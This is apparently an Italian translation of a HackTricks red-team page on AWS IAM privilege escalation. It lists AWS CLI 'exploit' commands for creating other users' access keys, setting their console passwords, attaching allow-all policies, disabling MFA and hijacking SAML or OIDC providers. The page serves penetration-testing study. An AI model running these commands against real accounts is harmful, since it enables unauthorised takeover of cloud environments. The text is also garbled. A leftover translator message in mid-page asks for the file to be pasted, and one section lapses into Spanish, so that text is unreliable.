AWS - IAM Privesc

Reading time: 9 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

IAM

Per maggiori informazioni su IAM, consulta:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Consente di creare una nuova versione di una policy IAM, aggirando la necessità del permesso iam:SetDefaultPolicyVersion usando il flag --set-as-default. Questo consente di definire permessi personalizzati.

Exploit Command:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impatto: Escalazione diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.

iam:SetDefaultPolicyVersion

Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione concede più permessi.

Bash Command:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impatto: Escalation di privilegi indiretta abilitando permessi aggiuntivi.

iam:CreateAccessKey

Consente di creare access key ID e secret access key per un altro utente, portando a una potenziale escalation di privilegi.

Exploit:

bash
aws iam create-access-key --user-name <target_user>

Impact: Escalation di privilegi diretta assumendo i permessi estesi di un altro utente.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Consente di creare o aggiornare un login profile, compresa l'impostazione di password per l'accesso alla console AWS, con conseguente escalation di privilegi diretta.

Exploit per la creazione:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit per Aggiornamento:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impact: Escalation diretta dei privilegi effettuando l'accesso come utente "qualsiasi".

iam:UpdateAccessKey

Consente di abilitare una access key disabilitata, potenzialmente permettendo accessi non autorizzati se l'attaccante è in possesso della access key disabilitata.

Exploit:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impatto: Escalation di privilegi diretta riattivando access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Consente di generare o reimpostare credenziali per servizi AWS specifici (es. CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.

Exploit per la creazione:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit per il reset:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impatto: Escalation di privilegi diretta sulle autorizzazioni di servizio dell'utente.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Consente di allegare policy a utenti o gruppi, escalando direttamente i privilegi ereditando le autorizzazioni della policy allegata.

Exploit per l'utente:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit per Gruppo:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impatto: Escalation di privilegi diretta a qualsiasi cosa la policy conceda.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permette di allegare o aggiungere policy a ruoli, utenti o gruppi, consentendo un'escalation di privilegi diretta concedendo permessi aggiuntivi.

Exploit per il ruolo:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit per Inline Policies:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Non vedo il contenuto da tradurre. Per favore incolla il testo del file src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md qui.

Tradurrò in italiano mantenendo intatti markdown, tag HTML, link, path, codice, nomi tecnici (es. aws, lambda, pentesting) e le altre eccezioni che hai indicato.

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impatto: Escalation diretta dei privilegi aggiungendo permessi tramite policy.

iam:AddUserToGroup

Consente di aggiungere se stessi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.

Sfruttamento:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impatto: Escalation di privilegi diretta al livello delle autorizzazioni del gruppo.

iam:UpdateAssumeRolePolicy

Consente di alterare il documento assume role policy di un ruolo, consentendo l'assunzione del ruolo e delle autorizzazioni associate.

Exploit:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Quando la policy è la seguente, che dà all'utente il permesso di assumere il ruolo:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impatto: Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare dispositivi MFA, portando a una possibile escalation di privilegi indiretta.

Exploit for SSH Key Upload:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit per la disattivazione di MFA:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impatto: Escalation di privilegi indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.

iam:ResyncMFADevice

Permette la risincronizzazione di un dispositivo MFA, potenzialmente causando un'escalation di privilegi indiretta tramite la manipolazione della protezione MFA.

Comando Bash:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impatto: Escalation indiretta dei privilegi aggiungendo o manipolando dispositivi MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con queste autorizzazioni puoi modificare i metadati XML della connessione SAML. Poi, potresti abusare della SAML federation per login con qualsiasi ruolo che si fida di essa.

Nota che facendo questo gli utenti legittimi non saranno in grado di effettuare il login. Tuttavia, potresti ottenere l'XML, quindi puoi sostituirlo con il tuo, effettuare il login e ripristinare quello precedente.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Uno strumento in grado di generare i metadata SAML e di eseguire il login con un ruolo specificato

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Non sicuro su questo) Se un attacker ha queste permissions, potrebbe aggiungere un nuovo Thumbprint per riuscire ad effettuare il login in tutti i ruoli che si fidano del provider.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente escalando i suoi privileges e permettendogli di eseguire azioni che normalmente sono ristrette dalle permissions esistenti.

bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Un soggetto con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio emerge quando qualcuno con questa autorizzazione modifica il boundary di un ruolo: può restringere in modo improprio le operazioni (causando interruzioni del servizio) oppure, se applica un boundary permissivo, ampliare di fatto ciò che il ruolo può fare e permettere un'escalation dei privilegi.

bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks